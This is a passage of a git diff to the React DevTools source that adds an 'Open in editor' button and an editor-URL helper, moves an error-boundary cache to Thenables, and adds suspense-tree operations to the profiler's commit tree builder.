+    disable = checkConditions(editorURL, staleLocation).shouldDisableButton;
+  }
+  return (
+    <Button
+      disabled={disable}
+      className={className}
+      onClick={() => {
+        if (source == null) {
+          return;
+        }
+        const latestLocation: ReactFunctionLocation = [
+          '',
+          source.url,
+          // These might have changed since we last read it.
+          source.selectionRef.line,
+          source.selectionRef.column,
+        ];
+        const {url, shouldDisableButton} = checkConditions(
+          editorURL,
+          latestLocation,
+        );
+        if (!shouldDisableButton) {
+          window.open(url);
+        }
+      }}>
+      <ButtonIcon type="editor" />
+      <ButtonLabel>Open in editor</ButtonLabel>
+    </Button>
+  );
+}
+
+function OpenInEditorButton({editorURL, source, className}: Props): React.Node {
+  return (
+    <React.Suspense
+      fallback={
+        <Button disabled={true} className={className}>
+          <ButtonIcon type="editor" />
+          <ButtonLabel>Loading source maps...</ButtonLabel>
+        </Button>
+      }>
+      <ActualOpenInEditorButton
+        editorURL={editorURL}
+        source={source}
+        className={className}
+      />
+    </React.Suspense>
+  );
+}
+
+export default OpenInEditorButton;
diff --git a/packages/react-devtools-shared/src/devtools/views/Editor/utils.js b/packages/react-devtools-shared/src/devtools/views/Editor/utils.js
new file mode 100644
index 000000000000..a107c517cb8c
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Editor/utils.js
@@ -0,0 +1,65 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';
+
+export function checkConditions(
+  editorURL: string,
+  source: ReactFunctionLocation | ReactCallSite,
+): {url: URL | null, shouldDisableButton: boolean} {
+  try {
+    const url = new URL(editorURL);
+
+    const [, sourceURL, line, column] = source;
+    let filePath;
+
+    // Check if sourceURL is a correct URL, which has a protocol specified
+    if (sourceURL.startsWith('file:///')) {
+      filePath = new URL(sourceURL).pathname;
+    } else if (sourceURL.includes('://')) {
+      // $FlowFixMe[cannot-resolve-name]
+      if (!__IS_INTERNAL_VERSION__) {
+        // In this case, we can't really determine the path to a file, disable a button
+        return {url: null, shouldDisableButton: true};
+      } else {
+        const endOfSourceMapURLPattern = '.js/';
+        const endOfSourceMapURLIndex = sourceURL.lastIndexOf(
+          endOfSourceMapURLPattern,
+        );
+
+        if (endOfSourceMapURLIndex === -1) {
+          return {url: null, shouldDisableButton: true};
+        } else {
+          filePath = sourceURL.slice(
+            endOfSourceMapURLIndex + endOfSourceMapURLPattern.length,
+            sourceURL.length,
+          );
+        }
+      }
+    } else {
+      filePath = sourceURL;
+    }
+
+    const lineNumberAsString = String(line);
+    const columnNumberAsString = String(column);
+
+    url.href = url.href
+      .replace('{path}', filePath)
+      .replace('{line}', lineNumberAsString)
+      .replace('{column}', columnNumberAsString)
+      .replace('%7Bpath%7D', filePath)
+      .replace('%7Bline%7D', lineNumberAsString)
+      .replace('%7Bcolumn%7D', columnNumberAsString);
+
+    return {url, shouldDisableButton: false};
+  } catch (e) {
+    // User has provided incorrect editor url
+    return {url: null, shouldDisableButton: true};
+  }
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ErrorBoundary.js b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ErrorBoundary.js
index ffba7769bc75..215df20316c3 100644
--- a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ErrorBoundary.js
+++ b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ErrorBoundary.js
@@ -156,7 +156,7 @@ export default class ErrorBoundary extends Component<Props, State> {
           <CaughtErrorView
             callStack={callStack}
             componentStack={componentStack}
-            errorMessage={errorMessage || 'Error occured in inspected element'}
+            errorMessage={errorMessage || 'Error occurred in inspected element'}
             info={
               <>
                 React DevTools encountered an error while trying to inspect the
diff --git a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ReportNewIssue.js b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ReportNewIssue.js
index 360a6c232b07..f8dc401365dc 100644
--- a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ReportNewIssue.js
+++ b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/ReportNewIssue.js
@@ -63,8 +63,7 @@ export default function ReportNewIssue({
         className={styles.ReportLink}
         href={bugURL}
         rel="noopener noreferrer"
-        target="_blank"
-        title="Report bug">
+        target="_blank">
         Report this issue
       </a>
       <div className={styles.ReproSteps}>
diff --git a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/WorkplaceGroup.js b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/WorkplaceGroup.js
index 1e04c304a743..c72edc06f1c9 100644
--- a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/WorkplaceGroup.js
+++ b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/WorkplaceGroup.js
@@ -25,8 +25,7 @@ export default function WorkplaceGroup(): React.Node {
         className={styles.ReportLink}
         href={REACT_DEVTOOLS_WORKPLACE_URL}
         rel="noopener noreferrer"
-        target="_blank"
-        title="Report bug">
+        target="_blank">
         Report this on Workplace
       </a>
       <div className={styles.FacebookOnly}>(Facebook employees only.)</div>
diff --git a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/cache.js b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/cache.js
index eca76be605be..6ae471ec993c 100644
--- a/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/cache.js
+++ b/packages/react-devtools-shared/src/devtools/views/ErrorBoundary/cache.js
@@ -7,54 +7,47 @@
  * @flow
  */
 
-import type {Wakeable} from 'shared/ReactTypes';
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
 import type {GitHubIssue} from './githubAPI';
 
+import * as React from 'react';
+
 import {unstable_getCacheForType as getCacheForType} from 'react';
 import {searchGitHubIssues} from './githubAPI';
 
 const API_TIMEOUT = 3000;
-
-const Pending = 0;
-const Resolved = 1;
-const Rejected = 2;
-
-type PendingRecord = {
-  status: 0,
-  value: Wakeable,
-};
-
-type ResolvedRecord<T> = {
-  status: 1,
-  value: T,
-};
-
-type RejectedRecord = {
-  status: 2,
-  value: null,
-};
-
-type Record<T> = PendingRecord | ResolvedRecord<T> | RejectedRecord;
-
-function readRecord<T>(record: Record<T>): ResolvedRecord<T> | RejectedRecord {
-  if (record.status === Resolved) {
-    // This is just a type refinement.
-    return record;
-  } else if (record.status === Rejected) {
-    // This is just a type refinement.
-    return record;
+function readRecord<T>(record: Thenable<T>): T | null {
+  if (typeof React.use === 'function') {
+    try {
+      // eslint-disable-next-line react-hooks-published/rules-of-hooks
+      return React.use(record);
+    } catch (x) {
+      if (x === null) {
+        return null;
+      }
+      throw x;
+    }
+  }
+  if (record.status === 'fulfilled') {
+    return record.value;
+  } else if (record.status === 'rejected') {
+    return null;
   } else {
-    throw record.value;
+    throw record;
   }
 }
 
-type GitHubIssueMap = Map<string, Record<GitHubIssue>>;
+type GitHubIssueMap = Map<string, Thenable<GitHubIssue>>;
 
 function createMap(): GitHubIssueMap {
   return new Map();
 }
 
-function getRecordMap(): Map<string, Record<GitHubIssue>> {
+function getRecordMap(): Map<string, Thenable<GitHubIssue>> {
   return getCacheForType(createMap);
 }
 
@@ -65,10 +58,15 @@ export function findGitHubIssue(errorMessage: string): GitHubIssue | null {
   let record = map.get(errorMessage);
 
   if (!record) {
-    const callbacks = new Set<() => mixed>();
-    const wakeable: Wakeable = {
-      then(callback: () => mixed) {
+    const callbacks = new Set<(value: any) => mixed>();
+    const rejectCallbacks = new Set<(reason: mixed) => mixed>();
+    const thenable: Thenable<GitHubIssue> = {
+      status: 'pending',
+      value: null,
+      reason: null,
+      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {
         callbacks.add(callback);
+        rejectCallbacks.add(reject);
       },
 
       // Optional property used by Timeline:
@@ -76,13 +74,17 @@ export function findGitHubIssue(errorMessage: string): GitHubIssue | null {
     };
     const wake = () => {
       // This assumes they won't throw.
-      callbacks.forEach(callback => callback());
+      callbacks.forEach(callback => callback((thenable: any).value));
       callbacks.clear();
+      rejectCallbacks.clear();
     };
-    const newRecord: Record<GitHubIssue> = (record = {
-      status: Pending,
-      value: wakeable,
-    });
+    const wakeRejections = () => {
+      // This assumes they won't throw.
+      rejectCallbacks.forEach(callback => callback((thenable: any).reason));
+      rejectCallbacks.clear();
+      callbacks.clear();
+    };
+    record = thenable;
 
     let didTimeout = false;
 
@@ -93,41 +95,40 @@ export function findGitHubIssue(errorMessage: string): GitHubIssue | null {
         }
 
         if (maybeItem) {
-          const resolvedRecord =
-            ((newRecord: any): ResolvedRecord<GitHubIssue>);
-          resolvedRecord.status = Resolved;
-          resolvedRecord.value = maybeItem;
+          const fulfilledThenable: FulfilledThenable<GitHubIssue> =
+            (thenable: any);
+          fulfilledThenable.status = 'fulfilled';
+          fulfilledThenable.value = maybeItem;
+          wake();
         } else {
-          const notFoundRecord = ((newRecord: any): RejectedRecord);
-          notFoundRecord.status = Rejected;
-          notFoundRecord.value = null;
+          const notFoundThenable: RejectedThenable<GitHubIssue> =
+            (thenable: any);
+          notFoundThenable.status = 'rejected';
+          notFoundThenable.reason = null;
+          wakeRejections();
         }
-
-        wake();
       })
       .catch(error => {
-        const thrownRecord = ((newRecord: any): RejectedRecord);
-        thrownRecord.status = Rejected;
-        thrownRecord.value = null;
-
-        wake();
+        const rejectedThenable: RejectedThenable<GitHubIssue> = (thenable: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = null;
+        wakeRejections();
       });
 
     // Only wait a little while for GitHub results before showing a fallback.
     setTimeout(() => {
       didTimeout = true;
 
-      const timedoutRecord = ((newRecord: any): RejectedRecord);
-      timedoutRecord.status = Rejected;
-      timedoutRecord.value = null;
-
-      wake();
+      const timedoutThenable: RejectedThenable<GitHubIssue> = (thenable: any);
+      timedoutThenable.status = 'rejected';
+      timedoutThenable.reason = null;
+      wakeRejections();
     }, API_TIMEOUT);
 
     map.set(errorMessage, record);
   }
 
-  const response = readRecord(record).value;
+  const response = readRecord(record);
   return response;
 }
 
diff --git a/packages/react-devtools-shared/src/devtools/views/Icon.js b/packages/react-devtools-shared/src/devtools/views/Icon.js
index cd47eb257fff..f49bb4fd0380 100644
--- a/packages/react-devtools-shared/src/devtools/views/Icon.js
+++ b/packages/react-devtools-shared/src/devtools/views/Icon.js
@@ -26,20 +26,24 @@ export type IconType =
   | 'settings'
   | 'store-as-global-variable'
   | 'strict-mode-non-compliant'
+  | 'suspense'
   | 'warning';
 
 type Props = {
   className?: string,
   title?: string,
   type: IconType,
+  ...
 };
 
 export default function Icon({
   className = '',
   title = '',
   type,
+  ...props
 }: Props): React.Node {
   let pathData = null;
+  let viewBox = '0 0 24 24';
   switch (type) {
     case 'arrow':
       pathData = PATH_ARROW;
@@ -86,6 +90,10 @@ export default function Icon({
     case 'strict-mode-non-compliant':
       pathData = PATH_STRICT_MODE_NON_COMPLIANT;
       break;
+    case 'suspense':
+      pathData = PATH_SUSPEND;
+      viewBox = '-2 -2 28 28';
+      break;
     case 'warning':
       pathData = PATH_WARNING;
       break;
@@ -96,11 +104,12 @@ export default function Icon({
 
   return (
     <svg
+      {...props}
       xmlns="http://www.w3.org/2000/svg"
       className={`${styles.Icon} ${className}`}
       width="24"
       height="24"
-      viewBox="0 0 24 24">
+      viewBox={viewBox}>
       {title && <title>{title}</title>}
       <path d="M0 0h24v24H0z" fill="none" />
       <path fill="currentColor" d={pathData} />
@@ -185,4 +194,9 @@ const PATH_STRICT_MODE_NON_COMPLIANT = `
   14c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1zm1 4h-2v-2h2v2z
 `;
 
+const PATH_SUSPEND = `
+  M15 1H9v2h6V1zm-4 13h2V8h-2v6zm8.03-6.61l1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97
+  0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61zM12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7z
+`;
+
 const PATH_WARNING = `M12 1l-12 22h24l-12-22zm-1 8h2v7h-2v-7zm1 11.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25z`;
diff --git a/packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.css b/packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.css
new file mode 100644
index 000000000000..5d0cd2e40ae6
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.css
@@ -0,0 +1,15 @@
+.InspectedElementPane, .InspectedElementPane * {
+  box-sizing: border-box;
+  -webkit-font-smoothing: var(--font-smoothing);
+}
+
+.InspectedElementPane {
+  position: relative;
+  width: 100%;
+  height: 100%;
+  display: flex;
+  flex-direction: row;
+  background-color: var(--color-background);
+  color: var(--color-text);
+  font-family: var(--font-family-sans);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.js b/packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.js
new file mode 100644
index 000000000000..a47bffda8d7f
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/InspectedElement/InspectedElementPane.js
@@ -0,0 +1,35 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {useContext} from 'react';
+
+import portaledContent from 'react-devtools-shared/src/devtools/views/portaledContent';
+import {OptionsContext} from 'react-devtools-shared/src/devtools/views/context';
+import InspectedElement from 'react-devtools-shared/src/devtools/views/Components/InspectedElement';
+import SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';
+import SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';
+import {SettingsModalContextController} from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContext';
+import styles from './InspectedElementPane.css';
+
+function InspectedElementPane() {
+  const {hideSettings} = useContext(OptionsContext);
+  return (
+    <SettingsModalContextController>
+      <div className={styles.InspectedElementPane}>
+        <InspectedElement
+          actionButtons={!hideSettings && <SettingsModalContextToggle />}
+          fallbackEmpty={"Selected element wasn't rendered with React."}
+        />
+        <SettingsModal />
+      </div>
+    </SettingsModalContextController>
+  );
+}
+export default (portaledContent(InspectedElementPane): component());
diff --git a/packages/react-devtools-shared/src/devtools/views/ModalDialog.js b/packages/react-devtools-shared/src/devtools/views/ModalDialog.js
index 542961b4c932..a584d9a9e3d1 100644
--- a/packages/react-devtools-shared/src/devtools/views/ModalDialog.js
+++ b/packages/react-devtools-shared/src/devtools/views/ModalDialog.js
@@ -75,7 +75,7 @@ function dialogReducer(state: State, action: Action) {
             content: action.content,
             id: action.id,
             title: action.title || null,
-          },
+          } as Dialog,
         ],
       };
     default:
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/ChartNode.js b/packages/react-devtools-shared/src/devtools/views/Profiler/ChartNode.js
index ef3d47f4011c..a6acf53fcd0d 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/ChartNode.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/ChartNode.js
@@ -10,16 +10,17 @@
 import * as React from 'react';
 
 import styles from './ChartNode.css';
+import typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
 
 type Props = {
   color: string,
   height: number,
   isDimmed?: boolean,
   label: string,
-  onClick: (event: SyntheticMouseEvent<any>) => mixed,
-  onDoubleClick?: (event: SyntheticMouseEvent<any>) => mixed,
-  onMouseEnter: (event: SyntheticMouseEvent<any>) => mixed,
-  onMouseLeave: (event: SyntheticMouseEvent<any>) => mixed,
+  onClick: (event: SyntheticMouseEvent) => mixed,
+  onDoubleClick?: (event: SyntheticMouseEvent) => mixed,
+  onMouseEnter: (event: SyntheticMouseEvent) => mixed,
+  onMouseLeave: (event: SyntheticMouseEvent) => mixed,
   placeLabelAboveNode?: boolean,
   textStyle?: Object,
   width: number,
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraph.js b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraph.js
index b1dceb928611..3774a4d34004 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraph.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraph.js
@@ -16,7 +16,7 @@ import NoCommitData from './NoCommitData';
 import CommitFlamegraphListItem from './CommitFlamegraphListItem';
 import HoveredFiberInfo from './HoveredFiberInfo';
 import {scale} from './utils';
-import {useHighlightNativeElement} from '../hooks';
+import {useHighlightHostInstance} from '../hooks';
 import {StoreContext} from '../context';
 import {SettingsContext} from '../Settings/SettingsContext';
 import Tooltip from './Tooltip';
@@ -101,8 +101,8 @@ function CommitFlamegraph({chartData, commitTree, height, width}: Props) {
     useState<TooltipFiberData | null>(null);
   const {lineHeight} = useContext(SettingsContext);
   const {selectFiber, selectedFiberID} = useContext(ProfilerContext);
-  const {highlightNativeElement, clearHighlightNativeElement} =
-    useHighlightNativeElement();
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
 
   const selectedChartNodeIndex = useMemo<number>(() => {
     if (selectedFiberID === null) {
@@ -127,16 +127,16 @@ function CommitFlamegraph({chartData, commitTree, height, width}: Props) {
 
   const handleElementMouseEnter = useCallback(
     ({id, name}: $FlowFixMe) => {
-      highlightNativeElement(id); // Highlight last hovered element.
+      highlightHostInstance(id); // Highlight last hovered element.
       setHoveredFiberData({id, name}); // Set hovered fiber data for tooltip
     },
-    [highlightNativeElement],
+    [highlightHostInstance],
   );
 
   const handleElementMouseLeave = useCallback(() => {
-    clearHighlightNativeElement(); // clear highlighting of element on mouse leave
+    clearHighlightHostInstance(); // clear highlighting of element on mouse leave
     setHoveredFiberData(null); // clear hovered fiber data for tooltip
-  }, [clearHighlightNativeElement]);
+  }, [clearHighlightHostInstance]);
 
   const itemData = useMemo<ItemData>(
     () => ({
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraphListItem.js b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraphListItem.js
index 1fc586ed42b6..5bfe0a299f68 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraphListItem.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraphListItem.js
@@ -17,6 +17,7 @@ import {SettingsContext} from '../Settings/SettingsContext';
 
 import type {ChartNode as ChartNodeType} from './FlamegraphChartBuilder';
 import type {ItemData} from './CommitFlamegraph';
+import typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
 
 type Props = {
   data: ItemData,
@@ -41,7 +42,7 @@ function CommitFlamegraphListItem({data, index, style}: Props): React.Node {
   const {lineHeight} = useContext(SettingsContext);
 
   const handleClick = useCallback(
-    (event: SyntheticMouseEvent<EventTarget>, id: number, name: string) => {
+    (event: SyntheticMouseEvent, id: number, name: string) => {
       event.stopPropagation();
       selectFiber(id, name);
     },
@@ -131,7 +132,6 @@ function CommitFlamegraphListItem({data, index, style}: Props): React.Node {
   );
 }
 
-export default (memo(
-  CommitFlamegraphListItem,
-  areEqual,
-): React.ComponentType<Props>);
+export default (memo(CommitFlamegraphListItem, areEqual): component(
+  ...props: Props
+));
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRanked.js b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRanked.js
index 28d507e1f48a..bc482776f4e8 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRanked.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRanked.js
@@ -18,7 +18,7 @@ import HoveredFiberInfo from './HoveredFiberInfo';
 import {scale} from './utils';
 import {StoreContext} from '../context';
 import {SettingsContext} from '../Settings/SettingsContext';
-import {useHighlightNativeElement} from '../hooks';
+import {useHighlightHostInstance} from '../hooks';
 import Tooltip from './Tooltip';
 
 import styles from './CommitRanked.css';
@@ -99,8 +99,8 @@ function CommitRanked({chartData, commitTree, height, width}: Props) {
     useState<TooltipFiberData | null>(null);
   const {lineHeight} = useContext(SettingsContext);
   const {selectedFiberID, selectFiber} = useContext(ProfilerContext);
-  const {highlightNativeElement, clearHighlightNativeElement} =
-    useHighlightNativeElement();
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
 
   const selectedFiberIndex = useMemo(
     () => getNodeIndex(chartData, selectedFiberID),
@@ -109,16 +109,16 @@ function CommitRanked({chartData, commitTree, height, width}: Props) {
 
   const handleElementMouseEnter = useCallback(
     ({id, name}: $FlowFixMe) => {
-      highlightNativeElement(id); // Highlight last hovered element.
+      highlightHostInstance(id); // Highlight last hovered element.
       setHoveredFiberData({id, name}); // Set hovered fiber data for tooltip
     },
-    [highlightNativeElement],
+    [highlightHostInstance],
   );
 
   const handleElementMouseLeave = useCallback(() => {
-    clearHighlightNativeElement(); // clear highlighting of element on mouse leave
+    clearHighlightHostInstance(); // clear highlighting of element on mouse leave
     setHoveredFiberData(null); // clear hovered fiber data for tooltip
-  }, [clearHighlightNativeElement]);
+  }, [clearHighlightHostInstance]);
 
   const itemData = useMemo<ItemData>(
     () => ({
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRankedListItem.js b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRankedListItem.js
index 4a8ab9b7e6be..707fddf6268c 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRankedListItem.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitRankedListItem.js
@@ -79,7 +79,6 @@ function CommitRankedListItem({data, index, style}: Props) {
   );
 }
 
-export default (memo(
-  CommitRankedListItem,
-  areEqual,
-): React.ComponentType<Props>);
+export default (memo(CommitRankedListItem, areEqual): component(
+  ...props: Props
+));
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitTreeBuilder.js b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitTreeBuilder.js
index 7e9df12a1efb..02ecc98ec6d1 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/CommitTreeBuilder.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/CommitTreeBuilder.js
@@ -11,11 +11,16 @@ import {
   __DEBUG__,
   TREE_OPERATION_ADD,
   TREE_OPERATION_REMOVE,
-  TREE_OPERATION_REMOVE_ROOT,
   TREE_OPERATION_REORDER_CHILDREN,
   TREE_OPERATION_SET_SUBTREE_MODE,
   TREE_OPERATION_UPDATE_TREE_BASE_DURATION,
   TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,
+  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,
+  SUSPENSE_TREE_OPERATION_ADD,
+  SUSPENSE_TREE_OPERATION_REMOVE,
+  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,
+  SUSPENSE_TREE_OPERATION_RESIZE,
+  SUSPENSE_TREE_OPERATION_SUSPENDERS,
 } from 'react-devtools-shared/src/constants';
 import {
   parseElementDisplayNameFromBackend,
@@ -154,11 +159,14 @@ function updateTree(
 
   // Clone nodes before mutating them so edits don't affect them.
   const getClonedNode = (id: number): CommitTreeNode => {
-    // $FlowFixMe[prop-missing] - recommended fix is to use object spread operator
-    const clonedNode = ((Object.assign(
-      {},
-      nodes.get(id),
-    ): any): CommitTreeNode);
+    const existingNode = nodes.get(id);
+    if (existingNode == null) {
+      throw new Error(
+        `Could not clone the node: commit tree does not contain fiber "${id}". This is a bug in React DevTools.`,
+      );
+    }
+
+    const clonedNode = {...existingNode};
     nodes.set(id, clonedNode);
     return clonedNode;
   };
@@ -236,6 +244,9 @@ function updateTree(
           const key = stringTable[keyStringID];
           i++;
 
+          // skip name prop
+          i++;
+
           if (__DEBUG__) {
             debug(
               'Add',
@@ -301,9 +312,6 @@ function updateTree(
         }
         break;
       }
-      case TREE_OPERATION_REMOVE_ROOT: {
-        throw Error('Operation REMOVE_ROOT is not supported while profiling.');
-      }
       case TREE_OPERATION_REORDER_CHILDREN: {
         id = ((operations[i + 1]: any): number);
         const numChildren = ((operations[i + 2]: any): number);
@@ -366,6 +374,121 @@ function updateTree(
         break;
       }
 
+      case SUSPENSE_TREE_OPERATION_ADD: {
+        const fiberID = operations[i + 1];
+        const parentID = operations[i + 2];
+        const nameStringID = operations[i + 3];
+        const isSuspended = operations[i + 4];
+        const numRects = operations[i + 5];
+        const name = stringTable[nameStringID];
+
+        if (__DEBUG__) {
+          let rects: string;
+          if (numRects === -1) {
+            rects = 'null';
+          } else {
+            rects =
+              '[' +
+              operations.slice(i + 6, i + 6 + numRects * 4).join(',') +
+              ']';
+          }
+          debug(
+            'Add suspense',
+            `node ${fiberID} (name=${JSON.stringify(name)}, rects={${rects}}) under ${parentID} suspended ${isSuspended}`,
+          );
+        }
+
+        i += 6 + (numRects === -1 ? 0 : numRects * 4);
+        break;
+      }
+
+      case SUSPENSE_TREE_OPERATION_REMOVE: {
+        const removeLength = ((operations[i + 1]: any): number);
+        i += 2 + removeLength;
+
+        break;
+      }
+
+      case SUSPENSE_TREE_OPERATION_REORDER_CHILDREN: {
+        const suspenseID = ((operations[i + 1]: any): number);
+        const numChildren = ((operations[i + 2]: any): number);
+        const children = ((operations.slice(
+          i + 3,
+          i + 3 + numChildren,
+        ): any): Array<number>);
+
+        i = i + 3 + numChildren;
+
+        if (__DEBUG__) {
+          debug(
+            'Suspense re-order',
+            `suspense ${suspenseID} children ${children.join(',')}`,
+          );
+        }
+
+        break;
+      }
+
+      case SUSPENSE_TREE_OPERATION_RESIZE: {
+        const suspenseID = ((operations[i + 1]: any): number);
+        const numRects = ((operations[i + 2]: any): number);
+
+        if (__DEBUG__) {
+          if (numRects === -1) {
+            debug('Suspense resize', `suspense ${suspenseID} rects null`);
+          } else {
+            const rects = ((operations.slice(
+              i + 3,
+              i + 3 + numRects * 4,
+            ): any): Array<number>);
+            debug(
+              'Suspense resize',
+              `suspense ${suspenseID} rects [${rects.join(',')}]`,
+            );
+          }
+        }
+
+        i += 3 + (numRects === -1 ? 0 : numRects * 4);
+
+        break;
+      }
+
+      case SUSPENSE_TREE_OPERATION_SUSPENDERS: {
+        i++;
+        const changeLength = ((operations[i++]: any): number);
+
+        for (let changeIndex = 0; changeIndex < changeLength; changeIndex++) {
+          const suspenseNodeId = operations[i++];
+          const hasUniqueSuspenders = operations[i++] === 1;
+          const endTime = operations[i++] / 1000;
+          const isSuspended = operations[i++] === 1;
+          const environmentNamesLength = operations[i++];
+          i += environmentNamesLength;
+          if (__DEBUG__) {
+            debug(
+              'Suspender changes',
+              `Suspense node ${suspenseNodeId} unique suspenders set to ${String(hasUniqueSuspenders)} ending at ${String(endTime)} is suspended set to ${String(isSuspended)} with ${String(environmentNamesLength)} environments`,
+            );
+          }
+        }
+
+        break;
+      }
+
+      case TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE: {
+        i++;
+        const activitySliceIDChange = operations[i++];
+        if (__DEBUG__) {
+          debug(
+            'Applied activity slice change',
+            activitySliceIDChange === 0
+              ? 'Reset applied activity slice'
+              : `Changed to activity slice ID ${activitySliceIDChange}`,
+          );
+        }
+        break;
+      }
+
       default:
         throw Error(`Unsupported Bridge operation "${operation}"`);
     }
@@ -391,18 +514,22 @@ const __printTree = (commitTree: CommitTree) => {
       const id = queue.shift();
       const depth = queue.shift();
 
+      // $FlowFixMe[incompatible-call]
       const node = nodes.get(id);
       if (node == null) {
+        // $FlowFixMe[incompatible-type]
         throw Error(`Could not find node with id "${id}" in commit tree`);
       }
 
       console.log(
+        // $FlowFixMe[incompatible-call]
         `${'•'.repeat(depth)}${node.id}:${node.displayName || ''} ${
           node.key ? `key:"${node.key}"` : ''
         } (${node.treeBaseDuration})`,
       );
 
       node.children.forEach(childID => {
+        // $FlowFixMe[unsafe-addition]
         queue.push(childID, depth + 1);
       });
     }
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.css b/packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.css
new file mode 100644
index 000000000000..d1aff47bddfc
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.css
@@ -0,0 +1,59 @@
+.LoadHookNamesToggle,
+.ToggleError {
+  padding: 2px;
+  background: none;
+  border: none;
+  cursor: pointer;
+  position: relative;
+  bottom: -0.2em;
+  margin-block: -1em;
+}
+
+.ToggleError {
+  color: var(--color-error-text);
+}
+
+.Hook {
+  list-style-type: none;
+  margin: 0;
+  padding-left: 0.5rem;
+  line-height: 1.125rem;
+
+  font-family: var(--font-family-monospace);
+  font-size: var(--font-size-monospace-normal);
+}
+
+.Hook .Hook {
+  padding-left: 1rem;
+}
+
+.Name {
+  color: var(--color-dim);
+  flex: 0 0 auto;
+  cursor: default;
+}
+
+.PrimitiveHookName {
+  color: var(--color-text);
+  flex: 0 0 auto;
+  cursor: default;
+}
+
+.Name:after {
+  color: var(--color-text);
+  content: ': ';
+  margin-right: 0.5rem;
+}
+
+.PrimitiveHookNumber {
+  background-color: var(--color-primitive-hook-badge-background);
+  color: var(--color-primitive-hook-badge-text);
+  font-size: var(--font-size-monospace-small);
+  margin-right: 0.25rem;
+  border-radius: 0.125rem;
+  padding: 0.125rem 0.25rem;
+}
+
+.HookName {
+  color: var(--color-component-name);
+}
